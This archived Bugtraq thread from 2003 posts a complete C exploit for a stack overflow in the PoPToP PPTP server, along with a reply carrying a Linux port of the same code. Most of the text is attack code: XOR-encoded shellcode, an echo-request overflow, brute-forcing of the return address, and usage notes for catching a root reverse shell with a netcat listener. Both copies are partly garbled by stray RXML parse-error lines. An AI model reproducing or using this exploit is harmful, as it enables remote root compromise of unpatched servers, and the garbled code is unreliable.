99090 2003-04-18  19:41  /293 rader/ einstein, dhtm <einstein_dhtm@front.ru>
Importerad: 2003-04-18  19:41  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: eintein_dhtm@front.ru
Mottagare: Bugtraq (import) <4552>
Ärende: Exploit for PoPToP PPTP server
------------------------------------------------------------
hello bugtraq,

Here is an exploit for a recently discovered vulnerability in PoPToP
PPTP server under Linux. Versions affected are all prior to
1.1.4-b3 and 1.1.3-20030409.
The exploit is capable of bruteforcing the RET address to find our
buffer in the stack. Upon a successfull run it brings up a reverse
shell with privileges of the pptpd daemon (typically root)
on the victim server.

Have fun,

einstein, dH team
einstein_dhtm@front.ru

P.S. Greets to ERRor, Death and all others.

Exploit code (compiles on win32):

---------------- Cut ---------------------
#include <iostream.h>
#include <winsock.h>
#include <stdio.h>

#define u_int8_t char
#define u_int16_t WORD
#define u_int32_t DWORD


char shellcode[] =

"\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b"
"\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a"
"\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d"

"\x01\x01" // port

"\x54\xd6\x63"

"\x01\x01\x01\x01" // ip address

"\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67"
"\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e"
"\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b"
"\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60"
"\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa"
"\xfd\xbc\xe0\xfb";




struct pptp_header {
        u_int16_t length;               /* pptp message length incl header */
        u_int16_t pptp_type;            /* pptp message type */
        u_int32_t magic;                /* magic cookie */
        u_int16_t ctrl_type;            /* control message type */
        u_int16_t reserved0;            /* reserved */
};

#define MAX_HOSTNAME_SIZE               64
#define MAX_VENDOR_SIZE                 64
#define PPTP_VERSION                    0x0100

struct pptp_start_ctrl_conn_rqst {
        struct pptp_header header;      /* pptp header */
        u_int16_t version;              /* pptp protocol version */
        u_int16_t reserved1;            /* reserved */
        u_int32_t framing_cap;          /* framing capabilities */
        u_int32_t bearer_cap;           /* bearer capabilities */
        u_int16_t max_channels;         /* maximum channels */
        u_int16_t firmware_rev;         /* firmware revision */
        u_int8_t hostname[MAX_HOSTNAME_SIZE];   /* hostname */
        u_int8_t vendor[MAX_VENDOR_SIZE];       /* vendor */
};

struct pptp_echo_rqst {
        struct pptp_header header;      /* header */
        u_int32_t identifier;           /* value to match rply with rqst */
                                char buf[10000];
};

struct pptp_reply {
        struct pptp_header header;      /* header */
                                char buf[10000];
};


/* Magic Cookie */
#define PPTP_MAGIC_COOKIE               0x1a2b3c4d

/* Message types */
#define PPTP_CTRL_MESSAGE               1

/* Control Connection Management */
#define START_CTRL_CONN_RQST            1
#define START_CTRL_CONN_RPLY            2
#define STOP_CTRL_CONN_RQST             3
#define STOP_CTRL_CONN_RPLY             4
#define ECHO_RQST                       5
#define ECHO_RPLY                       6

// brute force values
#define TOPOFSTACK 0xbfffffff
#define BOTTOMOFSTACK 0xbf000000
#define STEP 50

void send_init_request(SOCKET st)
{
        pptp_start_ctrl_conn_rqst request;
  request.header.magic = htonl(PPTP_MAGIC_COOKIE);
  request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
        request.header.ctrl_type = htons(START_CTRL_CONN_RQST);

  request.version = PPTP_VERSION;
        request.framing_cap = 0;
        request.bearer_cap = 0;
        request.max_channels = 1;
        request.firmware_rev = 0;
  strcpy(request.hostname,"hell");
        strcpy(request.vendor,"domain HELL");
  request.header.length = ntohs(sizeof(request));

        send(st,(char*)&request,sizeof(request),0);

}

void send_ping_overflow(SOCKET st,DWORD ret,char* hostname,short port)
{ 
  pptp_echo_rqst ping;
        ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
  ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
        ping.header.ctrl_type = htons(ECHO_RQST);
        ping.identifier = 111;

        ping.header.length = ntohs(1);
        
  
        strcpy(ping.buf,"");
        
        int buflen = 500;
        for (int i=0;i<buflen;i++)strcat(ping.buf,"\x90");      
        memcpy(ping.buf+364,(char*)&ret,4); 

        // patch shellcode
        // we have a shellcode xored by 0x93.. let's unxor it :)
        for (i=0;i<sizeof(shellcode);i++) shellcode[i] ^= 0x93;

        *(unsigned short int*)(shellcode+43) = htons(port);
        
  *(unsigned long int*)(shellcode+48) = inet_addr(hostname);

        // we leave 100 bytes for NOPs
        memcpy(ping.buf+100,shellcode,sizeof(shellcode));
                
        send(st,(char*)
RXML parse error: Unknown scope "ping,sizeof(ping".
 | &ping,sizeof(ping.header)+buflen,0);
} SOCKET st; int connect_server(char* hostname) { st=socket(PF_INET,SOCK_STREAM,0); if (st==INVALID_SOCKET) return 0; sockaddr_in addr; addr.sin_family=AF_INET; addr.sin_port=0; addr.sin_addr.s_addr=0; bind(st, (LPSOCKADDR)&addr,sizeof(addr)); addr.sin_family=AF_INET; addr.sin_port=htons(1723); addr.sin_addr.s_addr=inet_addr(hostname); printf("connecting... "); if (connect(st,(sockaddr*)&addr,sizeof(addr)) != 0) { printf("Connect error. GetLastError=%d\n",GetLastError()); return 0; } return 1; } int main(int argc, char** argv) { printf("\n"); printf(" D H H \n"); printf(" D H H T\n"); printf(" D H H H T EE AA M M \n"); printf(" DDD D HHHHHHH T E E A A MM MM \n"); printf(" D DD H H H TTTT E E A A MM MM \n"); printf(" D D H H T EEE AAAA M M M \n"); printf(" D D H H T E A A M M \n"); printf(" DDDD H H TTT EEE A A M M "); printf(" ... presents ... \n\n"); printf("Exploit for PoPToP PPTP server older than \n1.1.4-b3 and 1.1.3-20030409 under Linux.\n"); printf("by .einstein., April 2003.\n"); printf("\n"); if (argc < 2) { printf("usage: \n"); printf(" %s <pptp_server> [<your_ip>] [<your_port>] [<timeout>]\n\n",argv[0]); printf(" <pptp_server> is the ip address or hostname of the PoPToP server\n"); printf(" you want to attack. Port 1723 is used for connection\n"); printf(" <your_ip> and <your_port> - specify an ip address to which\n"); printf(" a connection is possible to port <your_port> and set up a\n"); printf(" netcat listener. You'll get a reverse shell.\n"); printf(" <timeout> is a delay between stack bruteforce attemts, in milliseconds\n"); printf(" If you only pass a single parameter, the program will check\n"); printf(" whether remote server is vulnerable or not. Otherwise it will\n"); printf(" perform a ret bruteforce.\n"); printf("usage examples:\n"); printf(" %s 192.168.1.2 192.168.1.1 5555\n",argv[0]); printf(" attack 192.168.1.2 and get a reverse shell on port 5555\n"); printf(" %s 127.0.0.1 127.0.0.1 6666 100\n",argv[0]); printf(" attack a locally running pptpd with a timeout of 100 ms\n"); printf(" and get a shell on port 6666.\n"); printf(" %s 192.168.1.56\n",argv[0]); printf(" check if the PoPToP server on 192.168.1.56 is vulnerable.\n"); return 0; } int timeout = 500; if (argc >= 5) timeout = atoi(argv[4]); // init winsock WORD version=0x0101; WSADATA data; WSAStartup(version,&data); DWORD ret; if (argc == 2) { if (!connect_server(argv[1])) return 1; printf("\nChecking if the server is vulnerable..\n"); printf("(if it is you have to wait 65 seconds)..\n"); send_init_request(st); ret = 0x01010101; int bytes; pptp_reply reply; //header length bytes = recv(st,(char*)&reply,2,0); bytes = ntohs(reply.header.length); bytes = recv(st,(char*)&reply+2,bytes-2,0); int j = htons(reply.header.ctrl_type); send_ping_overflow(st,ret,"0.0.0.0",0); //header length bytes = recv(st,(char*)&reply,2,0); printf("PoPToP server is "); if (bytes != SOCKET_ERROR) printf("vulnerable!\n"); else printf("not vulnerable\n"); closesocket(st); return 1; } printf("[!] Attempting bruteforce against %s\n",argv[1]); printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3])); int checked = 0; for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP) { printf("[*] "); if (!connect_server(argv[1])) return 1; printf("[ret=0x%x]..",ret); printf("sending payload.."); // initial packet send_init_request(st); //a real overflowing ping packet send_ping_overflow(st,ret,argv[2],atoi(argv[3])); closesocket(st); Sleep(timeout); printf("done\n"); } return 0; } (99090) /einstein, dhtm <einstein_dhtm@front.ru>/(Ombruten) Kommentar i text 99230 av John Leach <bugtraq@johnleach.co.uk> 99230 2003-04-22 23:27 /28 rader/ John Leach <bugtraq@johnleach.co.uk> Importerad: 2003-04-22 23:27 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <4581> Kommentar till text 99090 av einstein, dhtm <einstein_dhtm@front.ru> Ärende: Re: Exploit for PoPToP PPTP server - Linux version ------------------------------------------------------------ Hello world, Find attached a modified version that will compile with gcc on Linux. The vulnerability check seems to work, but I've not yet managed a successful exploit. John. P.S: Greets to my Mum. On Fri, 2003-04-18 at 15:27, einstein, dhtm wrote: > hello bugtraq, > > Here is an exploit for a recently discovered vulnerability in PoPToP > PPTP server under Linux. Versions affected are all prior to > 1.1.4-b3 and 1.1.3-20030409. > The exploit is capable of bruteforcing the RET address to find our > buffer in the stack. Upon a successfull run it brings up a reverse > shell with privileges of the pptpd daemon (typically root) > on the victim server. > > P.S. Greets to ERRor, Death and all others. > -- GPG KEY: B89C D450 5B2C 74D8 58FB A360 9B06 B5C2 26F0 3047 HTTP: http://www.johnleach.co.uk (99230) /John Leach <bugtraq@johnleach.co.uk>/------ Bilaga (text/x-c) i text 99231 Bilaga (application/pgp-signature) i text 99232 99231 2003-04-22 23:27 /271 rader/ John Leach <bugtraq@johnleach.co.uk> Bilagans filnamn: "pptpd-exploit.c" Importerad: 2003-04-22 23:27 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <4582> Bilaga (text/plain) till text 99230 Ärende: Bilaga (pptpd-exploit.c) till: Re: Exploit for PoPToP PPTP server - Linux version ------------------------------------------------------------ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <netinet/in.h> #include <errno.h> /* Ported to Linux by John Leach <john@johnleach.nospam.co.uk> */ typedef int SOCKET; typedef unsigned short WORD; typedef unsigned int DWORD; char shellcode[] = "\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b" "\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a" "\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d" "\x01\x01" // port "\x54\xd6\x63" "\x01\x01\x01\x01" // ip address "\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67" "\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e" "\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b" "\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60" "\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa" "\xfd\xbc\xe0\xfb"; struct pptp_header { u_int16_t length; /* pptp message length incl header */ u_int16_t pptp_type; /* pptp message type */ u_int32_t magic; /* magic cookie */ u_int16_t ctrl_type; /* control message type */ u_int16_t reserved0; /* reserved */ }; #define MAX_HOSTNAME_SIZE 64 #define MAX_VENDOR_SIZE 64 #define PPTP_VERSION 0x0100 struct pptp_start_ctrl_conn_rqst { struct pptp_header header; /* pptp header */ u_int16_t version; /* pptp protocol version */ u_int16_t reserved1; /* reserved */ u_int32_t framing_cap; /* framing capabilities */ u_int32_t bearer_cap; /* bearer capabilities */ u_int16_t max_channels; /* maximum channels */ u_int16_t firmware_rev; /* firmware revision */ u_int8_t hostname[MAX_HOSTNAME_SIZE]; /* hostname */ u_int8_t vendor[MAX_VENDOR_SIZE]; /* vendor */ }; struct pptp_echo_rqst { struct pptp_header header; /* header */ u_int32_t identifier; /* value to match rply with rqst */ char buf[10000]; }; struct pptp_reply { struct pptp_header header; /* header */ char buf[10000]; }; /* Magic Cookie */ #define PPTP_MAGIC_COOKIE 0x1a2b3c4d /* Message types */ #define PPTP_CTRL_MESSAGE 1 /* Control Connection Management */ #define START_CTRL_CONN_RQST 1 #define START_CTRL_CONN_RPLY 2 #define STOP_CTRL_CONN_RQST 3 #define STOP_CTRL_CONN_RPLY 4 #define ECHO_RQST 5 #define ECHO_RPLY 6 // brute force values #define TOPOFSTACK 0xbfffffff #define BOTTOMOFSTACK 0xbf000000 #define STEP 50 void send_init_request(SOCKET st) { struct pptp_start_ctrl_conn_rqst request; request.header.magic = htonl(PPTP_MAGIC_COOKIE); request.header.pptp_type = htons(PPTP_CTRL_MESSAGE); request.header.ctrl_type = htons(START_CTRL_CONN_RQST); request.version = PPTP_VERSION; request.framing_cap = 0; request.bearer_cap = 0; request.max_channels = 1; request.firmware_rev = 0; strcpy(request.hostname,"hell"); strcpy(request.vendor,"domain HELL"); request.header.length = ntohs(sizeof(request)); send(st,(char*)&request,sizeof(request),0); } void send_ping_overflow(SOCKET st,DWORD ret,char* hostname,short port) { int i; struct pptp_echo_rqst ping; ping.header.magic = htonl(PPTP_MAGIC_COOKIE); ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE); ping.header.ctrl_type = htons(ECHO_RQST); ping.identifier = 111; ping.header.length = ntohs(1); strcpy(ping.buf,""); int buflen = 500; for (i=0;i<buflen;i++) strcat(ping.buf,"\x90"); memcpy(ping.buf+364,(char*)&ret,4); // patch shellcode // we have a shellcode xored by 0x93.. let's unxor it :) for (i=0;i<sizeof(shellcode);i++) shellcode[i] ^= 0x93; *(unsigned short int*)(shellcode+43) = htons(port); *(unsigned long int*)(shellcode+48) = inet_addr(hostname); // we leave 100 bytes for NOPs memcpy(ping.buf+100,shellcode,sizeof(shellcode)); send(st,(char*)
RXML parse error: Unknown scope "ping,sizeof(ping".
 | &ping,sizeof(ping.header)+buflen,0);
} SOCKET st; int connect_server(char* hostname) { st=socket(PF_INET,SOCK_STREAM,0); if (st==-1) return 0; struct sockaddr_in addr; addr.sin_family=AF_INET; addr.sin_port=0; addr.sin_addr.s_addr=0; bind(st, (struct sockaddr*)&addr,sizeof(addr)); addr.sin_family=AF_INET; addr.sin_port=htons(1723); addr.sin_addr.s_addr=inet_addr(hostname); printf("connecting... "); if (connect(st,(struct sockaddr*)&addr,sizeof(addr)) != 0) { perror("connect()"); return 0; } return 1; } int main(int argc, char** argv) { printf("\n"); printf(" D H H \n"); printf(" D H H T\n"); printf(" D H H H T EE AA M M \n"); printf(" DDD D HHHHHHH T E E A A MM MM \n"); printf(" D DD H H H TTTT E E A A MM MM \n"); printf(" D D H H T EEE AAAA M M M \n"); printf(" D D H H T E A A M M \n"); printf(" DDDD H H TTT EEE A A M M "); printf(" ... presents ... \n\n"); printf("Exploit for PoPToP PPTP server older than \n1.1.4-b3 and 1.1.3-20030409 under Linux.\n"); printf("by .einstein., April 2003.\n"); printf("\n"); if (argc < 2) { printf("usage: \n"); printf(" %s <pptp_server> [<your_ip>] [<your_port>] [<timeout>]\n\n",argv[0]); printf(" <pptp_server> is the ip address or hostname of the PoPToP server\n"); printf(" you want to attack. Port 1723 is used for connection\n"); printf(" <your_ip> and <your_port> - specify an ip address to which\n"); printf(" a connection is possible to port <your_port> and set up a\n"); printf(" netcat listener. You'll get a reverse shell.\n"); printf(" <timeout> is a delay between stack bruteforce attemts, in milliseconds\n"); printf(" If you only pass a single parameter, the program will check\n"); printf(" whether remote server is vulnerable or not. Otherwise it will\n"); printf(" perform a ret bruteforce.\n"); printf("usage examples:\n"); printf(" %s 192.168.1.2 192.168.1.1 5555\n",argv[0]); printf(" attack 192.168.1.2 and get a reverse shell on port 5555\n"); printf(" %s 127.0.0.1 127.0.0.1 6666 100\n",argv[0]); printf(" attack a locally running pptpd with a timeout of 100 ms\n"); printf(" and get a shell on port 6666.\n"); printf(" %s 192.168.1.56\n",argv[0]); printf(" check if the PoPToP server on 192.168.1.56 is vulnerable.\n"); return 0; } int timeout = 500; if (argc >= 5) timeout = atoi(argv[4]); DWORD ret; if (argc == 2) { if (!connect_server(argv[1])) return 1; printf("\nChecking if the server is vulnerable..\n"); printf("(if it is you have to wait 65 seconds)..\n"); send_init_request(st); ret = 0x01010101; int bytes; struct pptp_reply reply; //header length bytes = recv(st,(char*)&reply,2,0); bytes = ntohs(reply.header.length); bytes = recv(st,(char*)&reply+2,bytes-2,0); int j = htons(reply.header.ctrl_type); send_ping_overflow(st,ret,"0.0.0.0",0); //header length bytes = recv(st,(char*)&reply,2,0); printf("PoPToP server is "); if (bytes != -1) printf("vulnerable!\n"); else printf("not vulnerable\n"); close(st); return 1; } printf("[!] Attempting bruteforce against %s\n",argv[1]); printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3])); int checked = 0; for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP) { printf("[*] "); if (!connect_server(argv[1])) return 1; printf("[ret=0x%x]..",ret); printf("sending payload.."); // initial packet send_init_request(st); //a real overflowing ping packet send_ping_overflow(st,ret,argv[2],atoi(argv[3])); close(st); sleep(timeout); printf("done\n"); } return 0; } (99231) /John Leach <bugtraq@johnleach.co.uk>/(Ombruten) 99232 2003-04-22 23:27 /8 rader/ John Leach <bugtraq@johnleach.co.uk> Bilagans filnamn: "signature.asc" Importerad: 2003-04-22 23:27 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <4583> Bilaga (text/plain) till text 99230 Ärende: Bilaga (signature.asc) till: Re: Exploit for PoPToP PPTP server - Linux version ------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQA+pVnMmwa1wibwMEcRAnhFAJ44a5OTmX7Gksn5qdPvce+Q/18nJQCcCHjT 0ohOtS7WyI9zdZRPEctGomo= =qZPi -----END PGP SIGNATURE----- (99232) /John Leach <bugtraq@johnleach.co.uk>/------